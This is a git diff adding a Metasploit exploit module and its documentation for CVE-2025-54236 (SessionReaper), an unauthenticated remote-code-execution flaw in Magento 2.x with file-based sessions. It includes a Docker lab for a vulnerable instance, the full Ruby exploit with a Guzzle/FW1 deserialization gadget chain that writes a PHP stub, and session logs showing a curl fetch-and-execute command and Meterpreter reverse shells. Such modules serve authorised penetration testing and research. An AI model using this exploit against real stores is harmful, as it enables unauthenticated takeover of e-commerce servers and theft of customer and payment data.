diff --git a/documentation/modules/exploit/multi/http/magento_sessionreaper.md b/documentation/modules/exploit/multi/http/magento_sessionreaper.md new file mode 100644 index 0000000000000..0ea6245d907c3 --- /dev/null +++ b/documentation/modules/exploit/multi/http/magento_sessionreaper.md @@ -0,0 +1,405 @@ +## Vulnerable Application + +Magento/Adobe Commerce is a popular e-commerce platform written in PHP. A vulnerability exists in Magento 2.x that +allows an unauthenticated user to gain arbitrary code execution through nested deserialization and unauthenticated file +upload. + +This vulnerability (CVE-2025-54236, also known as SessionReaper) affects Magento 2.x instances using file-based session +storage. **Note:** File-based session storage is not enabled by default in Magento. The target must be explicitly +configured to use file-based sessions (typically via `app/etc/env.php` with `'session' => ['save' => 'files']`) for this +vulnerability to be exploitable. By default, Magento uses database or Redis session storage. + +**Exploit limitations:** In production environments, the upload directory (`media/customer_address/`) where the malicious +session file is uploaded is generally configured as read-only, which prevents successful exploitation. This exploit +therefore has limited applicability in hardened production environments. The module was specifically tested against +Magento 2.4.4. + +### Description + +This module exploits CVE-2025-54236 (SessionReaper) in Magento/Adobe Commerce. The vulnerability allows unauthenticated +remote code execution through nested deserialization and unauthenticated file upload. + +The exploit chain: +1. Uploads a malicious session file via unauthenticated endpoint `/customer/address_file/upload` +2. Triggers deserialization by modifying session savePath via REST API endpoint + `/rest/default/V1/guest-carts/{cart_id}/order` +3. Executes arbitrary PHP code + +Patched versions return 400 Bad Request instead of processing the payload. + +### Installation + +#### Magento 2.4.4 with Docker + +Create a directory for the lab environment: + +```bash +mkdir -p test/magento +cd test/magento +``` + +Create `docker-compose.yml`: + +```yaml +version: '3.8' + +services: + app: + build: + context: . + dockerfile: Dockerfile + args: + - MYSQL_HOST=db + - ELASTICSEARCH_HOST=elasticsearch + container_name: magento-test + ports: + - "8082:80" + environment: + - MYSQL_HOST=db + - MYSQL_DATABASE=magento + - MYSQL_USER=magento + - MYSQL_PASSWORD=magento + - ELASTICSEARCH_HOST=elasticsearch + - ELASTICSEARCH_PORT=9200 + - PHP_MEMORY_LIMIT=2G + volumes: + - appdata:/var/www/html + - sessions:/var/www/html/var/session + depends_on: + - db + - elasticsearch + restart: unless-stopped + + db: + image: mariadb:10.4 + container_name: magento-db + environment: + - MYSQL_ROOT_PASSWORD=root + - MYSQL_DATABASE=magento + - MYSQL_USER=magento + - MYSQL_PASSWORD=magento + volumes: + - dbdata:/var/lib/mysql + restart: unless-stopped + + elasticsearch: + image: docker.elastic.co/elasticsearch/elasticsearch:7.17.0 + container_name: magento-elasticsearch + environment: + - discovery.type=single-node + - "ES_JAVA_OPTS=-Xms512m -Xmx512m" + - xpack.security.enabled=false + volumes: + - esdata:/usr/share/elasticsearch/data + restart: unless-stopped + +volumes: + appdata: + sessions: + dbdata: + esdata: +``` + +Create `Dockerfile`: + +```dockerfile +FROM php:7.4-apache + + # Install system dependencies +RUN apt-get update && apt-get install -y \ + libxml2-dev \ + libxslt-dev \ + libzip-dev \ + libonig-dev \ + libfreetype6-dev \ + libjpeg62-turbo-dev \ + libpng-dev \ + libicu-dev \ + git \ + unzip \ + curl \ + wget \ + default-mysql-client \ + && rm -rf /var/lib/apt/lists/* + + # Install PHP extensions +RUN docker-php-ext-configure gd --with-freetype --with-jpeg \ + && docker-php-ext-install -j$(nproc) \ + bcmath \ + dom \ + gd \ + intl \ + mbstring \ + mysqli \ + opcache \ + pdo_mysql \ + soap \ + xsl \ + zip \ + sockets + + # Install Composer +RUN curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer + + # Enable mod_rewrite +RUN a2enmod rewrite + + # Create installation script inline + RUN cat > /install-magento.sh << 'INSTALL_EOF' + #!/bin/bash + set -e + echo "[*] Downloading Magento 2.4.4 (vulnerable to CVE-2025-54236)..." + cd /tmp + rm -rf magento2-2.4.4 magento.tar.gz + wget -q https://github.com/magento/magento2/archive/2.4.4.tar.gz -O magento.tar.gz + echo "[*] Extracting Magento..." + tar -xzf magento.tar.gz + echo "[*] Copying Magento files to /var/www/html..." + cd /var/www/html + for item in * .*; do + [ "$item" = "." ] || [ "$item" = ".." ] || [ "$item" = "var" ] && continue + rm -rf "$item" 2>/dev/null || true + done + cp -r /tmp/magento2-2.4.4/* /var/www/html/ + cp -r /tmp/magento2-2.4.4/.* /var/www/html/ 2>/dev/null || true + rm -rf /tmp/magento.tar.gz /tmp/magento2-2.4.4 + cd /var/www/html + echo "[*] Setting permissions..." + chown -R www-data:www-data /var/www/html + chmod -R 755 /var/www/html + echo "[*] Installing Composer dependencies..." + composer self-update --1 2>/dev/null || true + php -d memory_limit=2G /usr/local/bin/composer install --no-dev --optimize-autoloader --no-interaction --ignore-platform-reqs 2>&1 | tail -30 || echo "[!] Composer install had issues" + php -d memory_limit=2G /usr/local/bin/composer update --no-dev --no-interaction --ignore-platform-reqs 2>&1 | tail -30 || true + echo "[*] Installing Magento..." + php -d memory_limit=2G bin/magento setup:install \ + --base-url=http://127.0.0.1:8082/ \ + --db-host=db \ + --db-name=magento \ + --db-user=magento \ + --db-password=magento \ + --admin-firstname=Admin \ + --admin-lastname=User \ + --admin-email=admin@example.com \ + --admin-user=admin \ + --admin-password=Admin123! \ + --language=en_US \ + --currency=USD \ + --timezone=America/New_York \ + --use-rewrites=1 \ + --backend-frontname=admin \ + --search-engine=elasticsearch7 \ + --elasticsearch-host=elasticsearch \ + --elasticsearch-port=9200 2>&1 + if [ -f /var/www/html/app/etc/env.php ]; then + echo "[*] Configuring file-based sessions..." + php -r "\$env = include 'app/etc/env.php'; \$env['session'] = ['save' => 'files']; file_put_contents('app/etc/env.php', '&1 | grep -E "(Compilation|SUCCESS|complete)" || echo "[!] Compilation output filtered" + echo "[*] Setting final permissions..." + chmod 644 /var/www/html/app/etc/env.php + chown www-data:www-data /var/www/html/app/etc/env.php + mkdir -p /var/www/html/var/session + chmod -R 777 /var/www/html/var + chown -R www-data:www-data /var/www/html/var + echo "[*] Magento installation complete!" + else + echo "[!] Installation failed - env.php not found" + exit 1 + fi +INSTALL_EOF +RUN chmod +x /install-magento.sh + + # Create entrypoint script inline +RUN cat > /entrypoint.sh << 'ENTRYPOINT_EOF' +#!/bin/bash +set -e +echo "[*] Starting Apache..." +apache2-foreground & +APACHE_PID=$! +echo "[*] Waiting for MySQL..." +until mysqladmin ping -h db -u magento -pmagento --silent 2>/dev/null; do + echo "[*] MySQL not ready, waiting..." + sleep 2 +done +echo "[*] MySQL ready!" +echo "[*] Waiting for Elasticsearch..." +until curl -s http://elasticsearch:9200 >/dev/null 2>&1; do + echo "[*] Elasticsearch not ready, waiting..." + sleep 2 +done +echo "[*] Elasticsearch ready!" +if [ ! -f /var/www/html/app/etc/env.php ]; then + echo "[*] Magento not found, installing..." + /install-magento.sh + echo "[*] Installation script completed" +else + echo "[*] Magento already installed" +fi +echo "[*] Ensuring session directory exists..." +mkdir -p /var/www/html/var/session +chmod -R 777 /var/www/html/var +chown -R www-data:www-data /var/www/html/var +echo "[*] ========================================" +echo "[*] Magento ready: http://127.0.0.1:8082/" +echo "[*] Admin: http://127.0.0.1:8082/admin/ (admin/Admin123!)" +echo "[*] ========================================" +wait $APACHE_PID +ENTRYPOINT_EOF +RUN chmod +x /entrypoint.sh + + # Set working directory +WORKDIR /var/www/html + + # Configure PHP memory limits +RUN echo "memory_limit = 2G" >> /usr/local/etc/php/conf.d/docker-php-memory.ini && \ + echo "upload_max_filesize = 64M" >> /usr/local/etc/php/conf.d/docker-php-memory.ini && \ + echo "post_max_size = 64M" >> /usr/local/etc/php/conf.d/docker-php-memory.ini + +EXPOSE 80 + +ENTRYPOINT ["/entrypoint.sh"] +``` + +Build and start the containers: + +```bash +docker compose up -d --build +``` + +Wait for the services to be ready (MySQL and Elasticsearch). The entrypoint script will automatically: +- Wait for MySQL and Elasticsearch to be ready +- Download and install Magento 2.4.4 +- Configure file-based session storage +- Set proper permissions + +Access Magento: +- Frontend: http://127.0.0.1:8082/ +- Admin: http://127.0.0.1:8082/admin/ (admin/Admin123!) + +The lab uses: +- Magento 2.4.4 (vulnerable version) +- PHP 7.4 +- MariaDB 10.4 +- Elasticsearch 7.17.0 + +## Verification Steps + +1. Start msfconsole +2. Do: `use exploit/multi/http/magento_sessionreaper` +3. Do: `set RHOSTS ` +4. Do: `set RPORT 8082` (or the appropriate port) +5. Do: `set TARGET 1` (for Unix/Linux Command Shell) +6. Do: `set payload cmd/linux/http/x64/meterpreter/reverse_tcp` +7. Do: `set LHOST ` +8. Do: `set LPORT 4444` +9. Do: `run` +10. You should get a Meterpreter session + +## Options + +This module does not require any additional options beyond the standard HTTP client options. + +## Scenarios + +### Target 0 - PHP In-Memory (Magento 2.4.4 on Docker) + +``` +msf > use exploit/multi/http/magento_sessionreaper +[*] No payload configured, defaulting to php/meterpreter/reverse_tcp +msf exploit(multi/http/magento_sessionreaper) > set RHOSTS 172.21.0.1 +RHOSTS => 172.21.0.1 +msf exploit(multi/http/magento_sessionreaper) > set RPORT 8082 +RPORT => 8082 +msf exploit(multi/http/magento_sessionreaper) > set TARGET 0 +TARGET => 0 +msf exploit(multi/http/magento_sessionreaper) > set payload php/meterpreter/reverse_tcp +payload => php/meterpreter/reverse_tcp +msf exploit(multi/http/magento_sessionreaper) > set LHOST 172.21.0.1 +LHOST => 172.21.0.1 +msf exploit(multi/http/magento_sessionreaper) > set LPORT 4444 +LPORT => 4444 +msf exploit(multi/http/magento_sessionreaper) > set VERBOSE true +VERBOSE => true +msf exploit(multi/http/magento_sessionreaper) > run + +[*] Started reverse TCP handler on 172.21.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Target returned 500 error with SessionHandler +[*] Generating Guzzle/FW1 deserialization payload... +[*] Uploading session file with Guzzle payload... +[*] Uploading malicious session file: sess_73351c2463bf78124de49e6c5fe6804a +[*] Triggering deserialization with savePath: media/customer_address/s/e +[+] Deserialization triggered (HTTP 404) +[*] Executing payload at: /pub/AbfsP.php +[*] Sending stage (41224 bytes) to 172.21.0.4 +[*] Meterpreter session 1 opened (172.21.0.1:4444 -> 172.21.0.4:60798) at 2025-11-24 20:55:44 +0100 + +meterpreter > sysinfo +Computer : 93d562876bca +OS : Linux 93d562876bca 6.14.0-115036-tuxedo #36~24.04.1tux1 SMP PREEMPT_DYNAMIC Mon Nov 3 17:34:07 UTC 2025 x86_64 +Architecture : x64 +System Language : C +Meterpreter : php/linux +meterpreter > exit +[*] Shutting down session: 1 +[*] 172.21.0.1 - Meterpreter session 1 closed. Reason: User exit +``` + +### Target 1 - Unix/Linux Command Shell (Magento 2.4.4 on Docker) + +``` +msf exploit(multi/http/magento_sessionreaper) > set TARGET 1 +TARGET => 1 +msf exploit(multi/http/magento_sessionreaper) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp +payload => cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(multi/http/magento_sessionreaper) > set LHOST 172.21.0.1 +LHOST => 172.21.0.1 +msf exploit(multi/http/magento_sessionreaper) > set LPORT 4444 +LPORT => 4444 +msf exploit(multi/http/magento_sessionreaper) > set VERBOSE true +VERBOSE => true +msf exploit(multi/http/magento_sessionreaper) > run + +[*] Command to run on remote host: curl -so ./tVLJyRtY http://172.21.0.1:8080/jA-UlkUXeCwJQV_LW9doGw;chmod +x ./tVLJyRtY;./tVLJyRtY& +[*] Fetch handler listening on 172.21.0.1:8080 +[*] HTTP server started +[*] Adding resource /jA-UlkUXeCwJQV_LW9doGw +[*] Started reverse TCP handler on 172.21.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Target returned 500 error with SessionHandler +[*] Generating Guzzle/FW1 deserialization payload... +[*] Uploading session file with Guzzle payload... +[*] Uploading malicious session file: sess_f96806648d613cac927613576dd37dc8 +[*] Triggering deserialization with savePath: media/customer_address/s/e +[+] Deserialization triggered (HTTP 404) +[*] Executing payload at: /pub/AGD3.php +[*] Client 172.21.0.4 requested /jA-UlkUXeCwJQV_LW9doGw +[*] Sending payload to 172.21.0.4 (curl/7.74.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3090404 bytes) to 172.21.0.4 +[*] Meterpreter session 2 opened (172.21.0.1:4444 -> 172.21.0.4:47580) at 2025-11-24 20:56:19 +0100 + +meterpreter > sysinfo +Computer : 172.21.0.4 +OS : Debian 11.5 (Linux 6.14.0-115036-tuxedo) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` + +### Check Command + +``` +msf exploit(multi/http/magento_sessionreaper) > check +[+] The target appears to be vulnerable. Target returned 500 error with SessionHandler +``` + +## References + +- [CVE-2025-54236](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-54236) +- [Searchlight Cyber Blog - Why Nested Deserialization is Still Harmful: Magento RCE CVE-2025-54236] + (https://slcyber.io/research-center/why-nested-deserialization-is-still-harmful-magento-rce-cve-2025-54236/) +- [Adobe Security Bulletin](https://experienceleague.adobe.com/en/docs/experience-cloud-kcs/kbarticles/ka-27397) + diff --git a/modules/exploits/multi/http/magento_sessionreaper.rb b/modules/exploits/multi/http/magento_sessionreaper.rb new file mode 100644 index 0000000000000..00336396f8008 --- /dev/null +++ b/modules/exploits/multi/http/magento_sessionreaper.rb @@ -0,0 +1,272 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Payload::Php + include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Magento SessionReaper', + 'Description' => %q{ + This module exploits CVE-2025-54236 (SessionReaper), a critical vulnerability in + Magento/Adobe Commerce that allows unauthenticated remote code execution. + + The vulnerability stems from improper handling of nested deserialization in the + payment method context, combined with an unauthenticated file upload endpoint. + + The exploit chain consists of three steps: + 1. Upload a malicious PHP session file containing a Guzzle/FW1 deserialization + payload via the unauthenticated /customer/address_file/upload endpoint + 2. Trigger deserialization by sending a crafted JSON payload to the REST API + endpoint /rest/default/V1/guest-carts/{cart_id}/order that modifies the + session savePath to point to the uploaded file + 3. Execute the uploaded PHP code to gain remote code execution + + This vulnerability affects Magento 2.x instances configured to use file-based + session storage. Patched versions will return a 400 Bad Request response instead + of processing the malicious payload. + }, + 'Author' => [ + 'Blaklis', # Discovery + 'Tomais Williamson', # Research & Analysis + 'Valentin Lobstein ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2025-54236'], + ['URL', 'https://slcyber.io/research-center/why-nested-deserialization-is-still-harmful-magento-rce-cve-2025-54236/'], + ['URL', 'https://experienceleague.adobe.com/en/docs/experience-cloud-kcs/kbarticles/ka-27397'] + ], + 'Privileged' => false, + 'Platform' => %w[php unix linux win], + 'Arch' => [ARCH_PHP, ARCH_CMD], + 'Targets' => [ + [ + 'PHP In-Memory', { + 'Platform' => 'php', + 'Arch' => ARCH_PHP + # tested with php/meterpreter/reverse_tcp + } + ], + [ + 'Unix/Linux Command Shell', { + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp + } + ], + [ + 'Windows Command Shell', { + 'Platform' => 'win', + 'Arch' => ARCH_CMD + # tested with cmd/windows/http/x64/meterpreter/reverse_tcp + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2025-10-22', + 'Notes' => { + 'Reliability' => [REPEATABLE_SESSION], + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + end + + def check_404_response(body) + lower = body.to_s.downcase + return false unless lower.include?('no such entity') + + lower.include?('cartid') || (lower.include?('fieldname') && lower.include?('fieldvalue')) + end + + def check_500_response(body) + lower = body.to_s.downcase + return false if lower.include?('500 internal server error') && !lower.include?('sessionhandler') + + lower.include?('sessionhandler::read') || + (lower.include?('no such file or directory') && lower.include?('session')) || + lower.include?('webapi-') + end + + def check + random_path = Array.new(3) { Rex::Text.rand_text_alphanumeric(4..8) }.join('/') + cart_id = Rex::Text.rand_text_alphanumeric(4..8) + res = send_request_cgi({ + 'uri' => normalize_uri( + target_uri.path, 'rest', 'default', 'V1', 'guest-carts', cart_id, 'order' + ), + 'method' => 'PUT', + 'ctype' => 'application/json', + 'headers' => { 'Accept' => 'application/json' }, + 'data' => build_deserialization_payload(random_path) + }) + + return CheckCode::Unknown('No response from target') unless res + + case res.code + when 400 + return CheckCode::Safe('Target is patched (returns 400 Bad Request)') + when 404 + return CheckCode::Appears('Target returned 404 with expected error pattern') if check_404_response(res.body) + when 500 + return CheckCode::Appears('Target returned 500 error with SessionHandler') if check_500_response(res.body) + end + + CheckCode::Unknown("Unexpected HTTP status: #{res.code}") + end + + def exploit + session_id = Rex::Text.rand_text_hex(32) + session_filename = "sess_#{session_id}" + session_save_dir = session_save_dir_from_filename(session_filename) + exploit_filename = "#{Rex::Text.rand_text_alphanumeric(4..8)}.php" + post_param = Rex::Text.rand_text_alphanumeric(4..8) + + vprint_status('Generating Guzzle/FW1 deserialization payload...') + php_stub = "" + guzzle_payload = build_guzzle_fw1_payload("pub/#{exploit_filename}", php_stub) + + vprint_status('Uploading session file with Guzzle payload...') + uploaded_path = upload_session_file(session_id, guzzle_payload, Rex::Text.rand_text_alphanumeric(8..12)) + return unless uploaded_path + + save_path = "media/customer_address#{File.dirname(uploaded_path)}" + unless trigger_deserialization(session_id, save_path) + fail_with(Failure::Unknown, 'Failed to trigger deserialization') + end + + register_file_for_cleanup(exploit_filename.to_s) + register_file_for_cleanup("media/customer_address/#{session_save_dir}/#{session_filename}") + register_file_for_cleanup(datastore['FETCH_FILENAME'].to_s) if target['Arch'] == ARCH_CMD && datastore['FETCH_FILENAME'].present? + + execute_uri = normalize_uri(target_uri.path, 'pub', exploit_filename) + vprint_status("Executing payload at: #{execute_uri}") + + phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded) + encoded_payload = Rex::Text.encode_base64(phped_payload) + send_request_cgi({ + 'uri' => execute_uri, + 'method' => 'POST', + 'data' => "#{post_param}=#{Rex::Text.uri_encode(encoded_payload)}", + 'ctype' => 'application/x-www-form-urlencoded' + }) + end + + def session_save_dir_from_filename(filename) + "#{filename[0]}/#{filename[1]}" + end + + def upload_session_file(session_id, content, form_key) + filename = "sess_#{session_id}" + vprint_status("Uploading malicious session file: #{filename}") + + post_data = Rex::MIME::Message.new + post_data.add_part(form_key, nil, nil, 'form-data; name="form_key"') + filename_part = 'form-data; name="custom_attributes[country_id]"; ' \ + "filename=\"#{filename}\"" + post_data.add_part(content, 'application/octet-stream', nil, filename_part) + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'customer', 'address_file', 'upload'), + 'method' => 'POST', + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'cookie' => "form_key=#{form_key}", + 'data' => post_data.to_s, + 'keep_cookies' => true + }) + + return nil unless res&.code == 200 + + json_response = res.get_json_document + error_msg = json_response&.dig('error') + if error_msg && error_msg != 0 + print_error("Upload failed: #{error_msg}") + return nil + end + + return json_response['file'] if json_response&.dig('file') + + "/#{session_save_dir_from_filename(filename)}/#{filename}" + end + + def build_deserialization_payload(save_path) + { + 'paymentMethod' => { + 'paymentData' => { + 'context' => { + 'urlBuilder' => { + 'session' => { + 'sessionConfig' => { + 'savePath' => save_path + } + } + } + } + } + } + }.to_json + end + + def trigger_deserialization(session_id, save_path) + vprint_status("Triggering deserialization with savePath: #{save_path}") + + cart_id = Rex::Text.rand_text_alphanumeric(4..8) + res = send_request_cgi({ + 'uri' => normalize_uri( + target_uri.path, 'rest', 'default', 'V1', 'guest-carts', cart_id, 'order' + ), + 'method' => 'PUT', + 'ctype' => 'application/json', + 'headers' => { 'Accept' => 'application/json' }, + 'cookie' => "PHPSESSID=#{session_id}", + 'data' => build_deserialization_payload(save_path) + }) + + return false unless res&.code == 404 || res&.code == 500 + + vprint_good("Deserialization triggered (HTTP #{res.code})") + true + end + + # Serialize a string to PHP binary-safe string format (S:) + # Characters in printable ASCII range (32-126) except backslash and double quote are kept as-is + # Other characters are escaped as \xHH where HH is the hexadecimal byte value + def serialize_string_ascii(str) + result = str.each_byte.map do |byte| + # Keep printable ASCII characters except backslash (92) and double quote (34) + next byte.chr if (32..126).cover?(byte) && byte != 92 && byte != 34 + + # Escape other characters as \xHH + "\\#{sprintf('%02x', byte)}" + end.join + # PHP binary-safe string format: S:length:"content"; + "S:#{str.length}:\"#{result}\";" + end + + def build_guzzle_fw1_payload(target_file, php_content) + escaped = "#{php_content}\n" + set_cookie_data = "a:3:{#{serialize_string_ascii('Expires')}i:1;" \ + "#{serialize_string_ascii('Discard')}b:0;" \ + "#{serialize_string_ascii('Value')}#{serialize_string_ascii(escaped)}}" + set_cookie = 'O:27:"GuzzleHttp\\Cookie\\SetCookie":1:' \ + "{#{serialize_string_ascii('data')}#{set_cookie_data}}" + cookies_array = "a:1:{i:0;#{set_cookie}}" + file_cookie_jar = 'O:31:"GuzzleHttp\\Cookie\\FileCookieJar":4:' \ + "{#{serialize_string_ascii('cookies')}#{cookies_array}" \ + "#{serialize_string_ascii('strictMode')}N;" \ + "#{serialize_string_ascii('filename')}#{serialize_string_ascii(target_file)}" \ + "#{serialize_string_ascii('storeSessionCookies')}b:1;}" + "_|#{file_cookie_jar}" + end +end